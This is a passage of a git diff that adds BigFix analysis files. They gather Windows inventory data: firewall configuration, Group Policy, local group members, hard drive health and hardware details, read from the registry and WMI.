+    <Property ID="1" Name="DisableDeleteNotification (0=TRIM_Enabled)" EvaluationPeriod="P2D">value &quot;DisableDeleteNotification&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem&quot; of registry | ERROR &quot;does not exist&quot; /* a result of 0 means TRIM is enabled as far as the Windows/NTFS side is concerned. This does not mean that these TRIM notifications are actually being used by the actual storage system, which may or may not support TRIM. */ </Property>
+    <Property ID="2" Name="NtfsDisableLastAccessUpdate" EvaluationPeriod="PT12H">value &quot;NtfsDisableLastAccessUpdate&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem&quot; of registry | ERROR &quot;does not exist&quot;</Property>
+    <Property ID="3" Name="NtfsMemoryUsage" EvaluationPeriod="PT12H">value &quot;NtfsMemoryUsage&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem&quot; of registry | ERROR &quot;does not exist&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Firewall - Configuration - Windows (2998518).bes b/Sites/Windows Management/Fixlets/Analyses/Firewall - Configuration - Windows (2998518).bes
new file mode 100644
index 000000000..fa1d4f46c
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Firewall - Configuration - Windows (2998518).bes	
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Firewall - Configuration - Windows
+  ID       : 2998518
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-16T17:17:59
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Firewall - Configuration - Windows</Title>
+    <Description><![CDATA[<P>Provides information on the current configuration of the Windows Firewall. </P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Relevance><![CDATA[windows of operating system and version of operating system >= "5.1"]]></Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Firewall - State - Windows" EvaluationPeriod="P1D">(&quot;Domain&quot;, firewall enabled of domain profile of local policy of firewall and not exists (value &quot;EnableFirewall&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile&quot; of native registry as string | &quot;-1&quot;) whose (it = &quot;0&quot;));(&quot;Public&quot;, firewall enabled of public profile of local policy of firewall and not exists (value &quot;EnableFirewall&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsFirewall\PublicProfile&quot; of native registry as string | &quot;-1&quot;) whose (it = &quot;0&quot;));(&quot;Private&quot;, firewall enabled of private profile of local policy of firewall and not exists (value &quot;EnableFirewall&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile&quot; of native registry as string | &quot;-1&quot;) whose (it = &quot;0&quot;))</Property>
+    <Property ID="2" Name="Firewall - Current Profiles - Windows" EvaluationPeriod="P1D">profile types of firewall</Property>
+    <Property ID="3" Name="Firewall - Inbound ICMP Echo - Windows" EvaluationPeriod="P1D">allow inbound echo request of icmp settings of current profile of local policy of firewall </Property>
+    <Property ID="4" Name="Firewall - Local Modification Allowed - Windows" EvaluationPeriod="P1D">local policy modify state of firewall = ok firewall local policy modify state</Property>
+    <Property ID="5" Name="Firewall - Group Policy Overrides Local Policy - Windows" EvaluationPeriod="P1D">local policy modify state of firewall = gp override firewall local policy modify state</Property>
+    <Property ID="6" Name="Firewall - All Unsolicited Inbound Traffic Blocked - Windows" EvaluationPeriod="P1D">local policy modify state of firewall = inbound blocked firewall local policy modify state</Property>
+    <Property ID="7" Name="Firewall - Authorized Applications - Windows" EvaluationPeriod="PT12H">(name of it, remote addresses of it, ip version of it, process image file name of it) of authorized applications whose (enabled of it = true) of current profile of local policy of firewall</Property>
+    <Property ID="8" Name="Firewall - Active Inbound Rules - Windows" EvaluationPeriod="PT12H">(name of it, application name of it, local addresses string of it, local ports string of it, remote addresses string of it, remote ports string of it) of rules whose (currently active of it and inbound of it) of firewall</Property>
+    <Property ID="9" Name="Firewall - Active Outbound Rules - Windows" EvaluationPeriod="PT12H">(name of it, application name of it, local addresses string of it, local ports string of it, remote addresses string of it, remote ports string of it) of rules whose (currently active of it and outbound of it) of firewall</Property>
+    <Property ID="10" Name="Firewall - Globally Open Ports - Windows" EvaluationPeriod="PT12H">(name of it, port of it, remote addresses of it) of globally open ports whose (enabled of it) of current profile of local policy of firewall</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Group Policy - Windows (2998487).bes b/Sites/Windows Management/Fixlets/Analyses/Group Policy - Windows (2998487).bes
new file mode 100644
index 000000000..790f3a776
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Group Policy - Windows (2998487).bes	
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Group Policy - Windows
+  ID       : 2998487
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-11-14T15:35:42
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Group Policy - Windows</Title>
+    <Description><![CDATA[<P>Provides the following pieces of&nbsp;information regarding Group Policy:</P>
+<OL>
+<LI>Average network wait on startup
+<LI>Applied Group Policies
+<LI>Enforced Group Policies
+<LI>The Active Directory site the computer currently falls into
+<LI>Assigned Software Installations in Group Policy
+<LI>The currently connected domain controller
+<LI>If the computer is on a slow link
+<LI>Currently running startup and shutdown scripts
+<LI>Group Policy Preferences with tracing or debug logging enabled</LI></OL>
+<P>The applied group policies and enforced group policies properties show the name of the group policy object, at what level the policy is linked (Site, Domain, OU) and at what OU in active directory the policy is linked at.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Group Policy - Average Network Wait - Windows" EvaluationPeriod="P1D">values &quot;AvgWaitTimeoutAtStartup&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\microsoft\windows\currentversion\group policy\history&quot; of native registry</Property>
+    <Property ID="2" Name="Group Policy - Applied Policies - Windows" EvaluationPeriod="P1D">unique values of (it as string) of (value &quot;DisplayName&quot; of it, (if (it = 0) then &quot;Unknown&quot; else (if (it = 1) then &quot;Local Group Policy&quot; else (if (it = 2) then &quot;Site Linked&quot; else (if (it = 3) then &quot;Domain Linked&quot; else (&quot;OU Linked&quot;))))) of (value &quot;GPOLink&quot; of it as integer), value &quot;Link&quot; of it) of keys of keys of key &quot;HKEY_LOCAL_MACHINE\Software\microsoft\windows\currentversion\group policy\history&quot; of native registry</Property>
+    <Property ID="3" Name="Group Policy - Enforced Policies - Windows" EvaluationPeriod="P1D">unique values of (it as string) of (value &quot;DisplayName&quot; of it, (if (it = 0) then &quot;Unknown&quot; else (if (it = 1) then &quot;Local Group Policy&quot; else (if (it = 2) then &quot;Site Linked&quot; else (if (it = 3) then &quot;Domain Linked&quot; else (&quot;OU Linked&quot;))))) of (value &quot;GPOLink&quot; of it as integer), value &quot;Link&quot; of it) of keys whose (bit 1 of (value &quot;Options&quot; of it as integer as bit set) = true) of keys of key &quot;HKEY_LOCAL_MACHINE\Software\microsoft\windows\currentversion\group policy\history&quot; of native registry</Property>
+    <Property ID="4" Name="Group Policy - Site - Windows" EvaluationPeriod="P1D">value &quot;Site-Name&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\microsoft\windows\currentversion\group policy\State\Machine&quot; of native registry</Property>
+    <Property ID="5" Name="Group Policy - Assigned Software Installation - Windows" EvaluationPeriod="P1D">(value &quot;GPO Name&quot; of it, value &quot;Deployment Name&quot; of it, value &quot;GPO ID&quot; of it) of keys of keys &quot;HKEY_LOCAL_MACHINE\Software\microsofat\windows\currentversion\group policy\Appmgmt&quot; of native registry</Property>
+    <Property ID="6" Name="Group Policy - Connected Domain Controller - Windows" EvaluationPeriod="P1D">value &quot;DCName&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\microsoft\windows\currentversion\group policy\History&quot; of native registry as string </Property>
+    <Property ID="7" Name="Group Policy - On Slow Link - Windows" EvaluationPeriod="P1D">if (value &quot;IsSlowLink&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\microsoft\windows\currentversion\group policy\History&quot; of native registry as integer | 0 = 0) then false else true</Property>
+    <Property ID="8" Name="Group Policy - Startup Scripts - Windows" EvaluationPeriod="P1D">unique values of (it as string) of (value &quot;DisplayName&quot; of it as string, value &quot;FileSysPath&quot; of it as string) of keys of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Startup&quot; of native registry</Property>
+    <Property ID="9" Name="Group Policy - Shutdown Scripts - Windows" EvaluationPeriod="P1D">unique values of (it as string) of (value &quot;DisplayName&quot; of it as string, value &quot;FileSysPath&quot; of it as string) of keys of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Shutdown&quot; of native registry </Property>
+    <Property ID="10" Name="Group Policy - Extensions with Debug Logging - Windows" EvaluationPeriod="P1D">(default value of it) of keys whose (set of names of (keys whose (value &quot;LogLevel&quot; of it as string != &quot;0&quot;) of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Group Policy&quot; of native registry) contains name of it ) of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions&quot; of native registry</Property>
+    <Property ID="11" Name="Group Policy - Extensions with Tracing Enabled - Windows" EvaluationPeriod="P1D">(default value of it) of keys whose (set of names of (keys whose (value &quot;LogLevel&quot; of it as string != &quot;0&quot;) of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Group Policy&quot; of native registry) contains name of it ) of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions&quot; of native registry</Property>
+    <Property ID="12" Name="Group Policy - Local Policy Settings - Windows" EvaluationPeriod="P1D">unique values of (it as string) of (string value of property &quot;registryKey&quot; of it | &quot;&quot;, string value of property &quot;valueName&quot; of it, (if (length of (property &quot;value&quot; of it as string) &lt;= 16) then /* For short values convert the byte array*/((/*Convert to integer*/ hexadecimal integer /* Reverse the bytes */(concatenations of substrings separated by &quot;,&quot; of concatenation of characters ( lengths of following texts of positions of it ) of concatenation &quot;,&quot; of (concatenation of characters ( lengths of following texts of positions of it ) of it ) of /*Get bytes */(integer values of property &quot;value&quot; of it as hexadecimal))) as string | &quot;&quot;) else /* Long values let BigFix do it*/ (following text of first &quot;value=&quot; of (preceding text of last &quot;%00&quot; of it | it) of (preceding text of last &quot;%0d%0a&quot; of it | it) of (property &quot;value&quot; of it as string)))) of SELECT objects &quot;* FROM RSOP_RegistryPolicySetting WHERE GPOID=&apos;LocalGPO&apos; and valueName != &apos;&apos;&quot; /* valueName != &apos;&apos; removes blank keys, not sure if this breaks anything*/ of rsop computer wmi</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Groups - Windows (2998456).bes b/Sites/Windows Management/Fixlets/Analyses/Groups - Windows (2998456).bes
new file mode 100644
index 000000000..ffae6f1c0
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Groups - Windows (2998456).bes	
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Groups - Windows
+  ID       : 2998456
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-10-21T12:52:56
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Groups - Windows</Title>
+    <Description><![CDATA[Provides information on the&nbsp;groups defined on the System
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Groups - Users - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Users&quot; as string</Property>
+    <Property ID="2" Name="Groups - Administrators - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Administrators&quot; as string</Property>
+    <Property ID="3" Name="Groups - Remote Desktop Users - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Remote Desktop Users&quot; as string</Property>
+    <Property ID="4" Name="Groups - Access Control Assistance Operators - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of (members of (local group &quot;Access Control Assistance Operators&quot; | error &quot;none&quot;))</Property>
+    <Property ID="5" Name="Groups - Backup Operators - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Backup Operators&quot; as string</Property>
+    <Property ID="6" Name="Groups - Cryptographic Operators - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Cryptographic Operators&quot; as string</Property>
+    <Property ID="7" Name="Groups - Event Log Readers - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Event Log Readers&quot; as string</Property>
+    <Property ID="8" Name="Groups - Guests - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Guests&quot; as string</Property>
+    <Property ID="9" Name="Groups - Hyper-V Administrators - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Hyper-V Administrators&quot; as string</Property>
+    <Property ID="10" Name="Groups - Network Configuration Operators - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Network Configuration Operators&quot; as string</Property>
+    <Property ID="11" Name="Groups - Performance Log Users - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Performance Log Users&quot; as string</Property>
+    <Property ID="12" Name="Groups - Performance Monitor Users - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Performance Monitor Users&quot; as string</Property>
+    <Property ID="13" Name="Groups - Power Users - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of members of local group &quot;Power Users&quot; as string</Property>
+    <Property ID="14" Name="Groups - Remote Managment Users - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of (members of (local group &quot;Remote Managment Users&quot; | error &quot;none&quot;))</Property>
+    <Property ID="15" Name="Groups - Replicator - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of (members of (local group &quot;Replicator&quot; | error &quot;none&quot;))</Property>
+    <Property ID="16" Name="Groups - Systems Managed Accounts Group - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of (members of (local group &quot;Systems Managed Accounts Group&quot; | error &quot;none&quot;))</Property>
+    <Property ID="17" Name="Groups - Offer Remote Assistance Helpers - Windows" EvaluationPeriod="P1D">((&quot;.&quot; &amp; following text of first (computer name) of (it as string)) | (it as string)) of (members of (local group &quot;Offer Remote Assistance Helpers&quot; | error &quot;none&quot;))</Property>
+    <Property ID="18" Name="Groups - Windows" EvaluationPeriod="P1D">unique values of names of local groups</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Hard Drive Audit - Windows (2994706).bes b/Sites/Windows Management/Fixlets/Analyses/Hard Drive Audit - Windows (2994706).bes
new file mode 100644
index 000000000..de0ffb43d
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Hard Drive Audit - Windows (2994706).bes	
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Hard Drive Audit - Windows
+  ID       : 2994706
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-08-15T12:30:58
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Hard Drive Audit - Windows</Title>
+    <Description><![CDATA[<P>This analysis will report on various windows specific aspects of the hard drives in a system.&nbsp;Found here:&nbsp;<A href="http://bigfix.me/cdb/analysis/2994527"><FONT color=#000080>http://bigfix.me/cdb/analysis/2994527</FONT></A></P>
+<P>This is meant to supliment the analysis "Hard Drive Audit - Universal" :&nbsp; <A href="http://bigfix.me/cdb/analysis/2994530">http://bigfix.me/cdb/analysis/2994530</A></P>]]></Description>
+    <Relevance><![CDATA[version of client >= "8.0"]]></Relevance>
+    <Relevance><![CDATA[/* Windows XP or later */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance>/* Many, but not all of these properties use WMI */ exists wmi</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 15 Aug 2014 19:30:17 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="4" Name="Serial Numbers" EvaluationPeriod="P1D">if (exists wmi) then (concatenation &quot;, &quot; of (((substrings after &quot;=&quot; whose(it as trimmed string != &quot;&quot;) of (property &quot;SerialNumber&quot; of it as string)) of select objects &quot;* from win32_PhysicalMedia where SerialNumber != &apos;&apos;&quot; of wmi) as trimmed string)) else &quot;n/a&quot;</Property>
+    <Property ID="5" Name="PredictFailure?" EvaluationPeriod="PT6H">if(not exists (select objects &quot;* from MSStorageDriver_FailurePredictStatus&quot; of wmi &quot;root\WMI&quot;) whose(string value of property &quot;PredictFailure&quot; of it as boolean = TRUE)) then &quot;&lt;no failures predicted&gt;&quot; else concatenation &quot;,&quot; of (string value of property &quot;PredictFailure&quot; of it &amp; &quot; - &quot; &amp; string value of property &quot;InstanceName&quot; of it) of (select objects &quot;* from MSStorageDriver_FailurePredictStatus&quot; of wmi &quot;root\WMI&quot;) whose(string value of property &quot;PredictFailure&quot; of it as boolean = TRUE)</Property>
+    <Property ID="6" Name="Partitions 4k aligned?" EvaluationPeriod="P1D">not disjunction of ((following text of first &quot;=&quot; of (property &quot;StartingOffset&quot; of it as string) as integer mod 4096) != 0) of select objects &quot;* from Win32_DiskPartition&quot; of wmi</Property>
+    <Property ID="7" Name="Partition Block Size" EvaluationPeriod="P1D">concatenation &quot;,&quot; of unique values of (following text of first &quot;=&quot; of (property &quot;BlockSize&quot; of it as string)) of select objects &quot;* from Win32_DiskPartition&quot; of wmi</Property>
+    <Property ID="8" Name="Size of PageFile?" EvaluationPeriod="PT6H">(if (0&lt;(it / (1024*1024*1024*1024))) then (it / (1024*1024*1024*1024)) as string &amp; &quot; TB&quot; else if (0&lt;(it / (1024*1024*1024))) then (it / (1024*1024*1024)) as string &amp; &quot; GB&quot; else if (0&lt;(it / (1024*1024))) then (it / (1024*1024)) as string &amp; &quot; MB&quot; else if (0&lt;(it / (1024))) then (it / (1024)) as string &amp; &quot; KB&quot; else (it as string &amp; &quot; B&quot;)) of (size of file &quot;c:\pagefile.sys&quot;)</Property>
+    <Property ID="9" Name="Size of HiberFil?" EvaluationPeriod="P1D">if(not exists file &quot;c:\hiberfil.sys&quot;) then nothing else ((if (0&lt;(it / (1024*1024*1024*1024))) then (it / (1024*1024*1024*1024)) as string &amp; &quot; TB&quot; else if (0&lt;(it / (1024*1024*1024))) then (it / (1024*1024*1024)) as string &amp; &quot; GB&quot; else if (0&lt;(it / (1024*1024))) then (it / (1024*1024)) as string &amp; &quot; MB&quot; else if (0&lt;(it / (1024))) then (it / (1024)) as string &amp; &quot; KB&quot; else (it as string &amp; &quot; B&quot;)) of (size of file &quot;c:\hiberfil.sys&quot;))</Property>
+    <Property ID="10" Name="Size of Dell folder?" EvaluationPeriod="P1D">if not exists (folder &quot;dell&quot; of drive of system folder) then nothing else ((if (0&lt;(it / (1024*1024*1024*1024))) then (it / (1024*1024*1024*1024)) as string &amp; &quot; TB&quot; else if (0&lt;(it / (1024*1024*1024))) then (it / (1024*1024*1024)) as string &amp; &quot; GB&quot; else if (0&lt;(it / (1024*1024))) then (it / (1024*1024)) as string &amp; &quot; MB&quot; else if (0&lt;(it / (1024))) then (it / (1024)) as string &amp; &quot; KB&quot; else (it as string &amp; &quot; B&quot;)) of (sum of sizes of descendants of folder &quot;dell&quot; of drive of system folder))</Property>
+    <Property ID="14" Name="Drive Firmware" EvaluationPeriod="P1D">if (exists wmi) then (concatenation &quot;; &quot; of ((string value of property &quot;Model&quot; of it, string value of property &quot;FirmwareRevision&quot; of it) of select objects &quot;Model, FirmwareRevision from Win32_DiskDrive&quot; of wmi as string)) else &quot;n/a&quot;</Property>
+    <Property ID="16" Name="Size of TEM dl cache" EvaluationPeriod="P1D">if exists (folder &quot;__BESData\__Global\__Cache\Downloads&quot; of parent folder of regapp &quot;Besclient.exe&quot;) then ((if (0&lt;(it / (1024*1024*1024*1024))) then (it / (1024*1024*1024*1024)) as string &amp; &quot; TB&quot; else if (0&lt;(it / (1024*1024*1024))) then (it / (1024*1024*1024)) as string &amp; &quot; GB&quot; else if (0&lt;(it / (1024*1024))) then (it / (1024*1024)) as string &amp; &quot; MB&quot; else if (0&lt;(it / (1024))) then (it / (1024)) as string &amp; &quot; KB&quot; else (it as string &amp; &quot; B&quot;)) of (sum of sizes of descendants of folder &quot;__BESData\__Global\__Cache\Downloads&quot; of parent folder of regapp &quot;Besclient.exe&quot;)) else ERROR &quot;none&quot;</Property>
+    <Property ID="18" Name="Size of Temp folder?" EvaluationPeriod="P1D">if exists (folder &quot;temp&quot; of drive of system folder) then ((if (0&lt;(it / (1024*1024*1024*1024))) then (it / (1024*1024*1024*1024)) as string &amp; &quot; TB&quot; else if (0&lt;(it / (1024*1024*1024))) then (it / (1024*1024*1024)) as string &amp; &quot; GB&quot; else if (0&lt;(it / (1024*1024))) then (it / (1024*1024)) as string &amp; &quot; MB&quot; else if (0&lt;(it / (1024))) then (it / (1024)) as string &amp; &quot; KB&quot; else (it as string &amp; &quot; B&quot;)) of (sum of sizes of descendants of folder &quot;temp&quot; of drive of system folder)) else ERROR &quot;no Temp Dir&quot;</Property>
+    <Property ID="19" Name="TRIM disabled?" EvaluationPeriod="PT6H">value &quot;DisableDeleteNotification&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem&quot; of native registry</Property>
+    <Property ID="20" Name="IDF Temp Size?" EvaluationPeriod="PT6H">if ((exists folder &quot;users&quot; of drive of system folder) AND (exists folders whose (exists folder &quot;AppData\Local\Temp\Identity Finder&quot; of it) of folder &quot;users&quot; of drive of system folder)) then (sum of sizes of descendants of folders &quot;AppData\Local\Temp\Identity Finder&quot; of folders whose (exists folder &quot;AppData\Local\Temp\Identity Finder&quot; of it) of folder &quot;users&quot; of drive of system folder) else ERROR &quot;No IDF temp&quot;</Property>
+    <Property ID="21" Name="Desc &amp; Loc" EvaluationPeriod="P2D">(friendly name of it &amp;&quot; - &quot;&amp; location information of it) of active devices whose(class of it = &quot;DiskDrive&quot;)</Property>
+    <Property ID="22" Name="Largest Desktop Folder" EvaluationPeriod="P2D">(pathname of it, sum of sizes of descendants of it) of folders &quot;Desktop&quot; whose(sum of sizes of descendants of it = maximum of (sum of sizes of descendants of it) of folders &quot;Desktop&quot; of folders of (folder &quot;c:\documents and settings&quot; of it | folder &quot;users&quot; of it) of drive of system folder) of folders of (folder &quot;c:\documents and settings&quot; of it | folder &quot;users&quot; of it) of drive of system folder</Property>
+    <Property ID="23" Name="Raw Size of Disks" EvaluationPeriod="P2D">((it as integer) of string values of selects &quot;Size from Win32_DiskDrive WHERE size!=&apos;&apos; &quot; of wmi)</Property>
+    <Property ID="24" Name="Raw Size of SystemDrive" EvaluationPeriod="P2D">((it as integer) of string values of selects &quot;Size from Win32_DiskDrive WHERE Index=0 AND size!=&apos;&apos; &quot; of wmi)</Property>
+    <Property ID="25" Name="Names of failing drives" EvaluationPeriod="P2D">(string values of selects &quot;Caption from Win32_DiskDrive WHERE Status!=&apos;OK&apos;&quot; of wmi)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Hardware - Windows (2998512).bes b/Sites/Windows Management/Fixlets/Analyses/Hardware - Windows (2998512).bes
new file mode 100644
index 000000000..3fe38f5b5
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Hardware - Windows (2998512).bes	
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Hardware - Windows
+  ID       : 2998512
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-01-30T09:15:30
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Hardware - Windows</Title>
+    <Description><![CDATA[Provides hardware information on Windows
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Hardware - Manufacturer - Windows" EvaluationPeriod="P1D">string value of select &quot;Manufacturer from Win32_ComputerSystem&quot; of wmi</Property>
+    <Property ID="3" Name="Hardware - Service Tag - Windows" EvaluationPeriod="P1D">string values of selects &quot;IdentifyingNumber from Win32_ComputerSystemProduct&quot; of wmi</Property>
+    <Property ID="12" Name="Hardware - Video Adapaters - Windows" EvaluationPeriod="P1D">string values of selects &quot;Name from Win32_VideoController&quot; of wmi</Property>
+    <Property ID="13" Name="Hardware - Sound Device - Windows" EvaluationPeriod="P1D">string values of selects &quot;Name from Win32_SoundDevice&quot; of wmi</Property>
+    <Property ID="19" Name="Hardware - Monitors - Windows" EvaluationPeriod="P1D">number of active devices whose(class of it = &quot;Monitor&quot;)</Property>
+    <Property ID="20" Name="Hardware - Hard Drives - Windows" EvaluationPeriod="P1D">string values of selects &quot;Caption from Win32_DiskDrive&quot; of wmi</Property>
+    <Property ID="21" Name="Hardware - Hard Drive Count - Windows" EvaluationPeriod="P1D">number of string values of selects &quot;Caption from Win32_DiskDrive&quot; of wmi</Property>
+    <Property ID="23" Name="Hardware - Monitors - Windows" EvaluationPeriod="P1D">descriptions of active devices whose (class of it = &quot;Monitor&quot;)</Property>
+    <Property ID="24" Name="Hardware - Monitor Count - Windows" EvaluationPeriod="P1D">number of active devices whose(class of it = &quot;Monitor&quot;)</Property>
+    <Property ID="25" Name="Hardware - CD Rom Drives - Windows" EvaluationPeriod="P1D">string values of selects &quot;Caption from Win32_CDROMDrive&quot; of wmi</Property>
+    <Property ID="26" Name="Hardware - CD Rom Drive Count - Windows" EvaluationPeriod="P1D">number of string values of selects &quot;Caption from Win32_CDROMDrive&quot; of wmi</Property>
+    <Property ID="27" Name="Hardware - Monitor Resolution - Windows" EvaluationPeriod="P1D">if (exists select &quot;VideoModeDescription from Win32_VideoController&quot; whose (type of it = 8)  of wmi) then (preceding texts of lasts &quot; x&quot; of (string values of selects &quot;VideoModeDescription from Win32_VideoController&quot; whose (type of it = 8) of wmi)) else (&quot;N/A&quot;)</Property>
+    <Property ID="28" Name="Hardware - RAM Maximum Installable - Windows" EvaluationPeriod="P1D">((it as integer/1024) as string &amp; &quot; MB&quot;) of (string values of selects &quot;MaxCapacity from Win32_PhysicalMemoryArray where Use=&apos;3&apos;&quot; of wmi)</Property>
+    <Property ID="29" Name="Hardware - In Error State - Windows" EvaluationPeriod="PT1H">(description of it | friendly name of it, problem id of it) of active devices whose (exist problem id of it)</Property>
+    <Property ID="30" Name="Hardware - CD Rom Drives Loaded - Windows" EvaluationPeriod="PT12H">number of string values of selects &quot;Caption from Win32_CDROMDrive where MediaLoaded=True&quot; of wmi</Property>
+    <Property ID="31" Name="Hardware - Hard Drives Offline - Windows" EvaluationPeriod="PT1H">string values of properties &quot;FriendlyName&quot; of select objects &quot;* from MSFT_Disk where IsOffline=True&quot; of wmis &quot;ROOT/Microsoft/Windows/Storage&quot;</Property>
+  </Analysis>
+</BES>
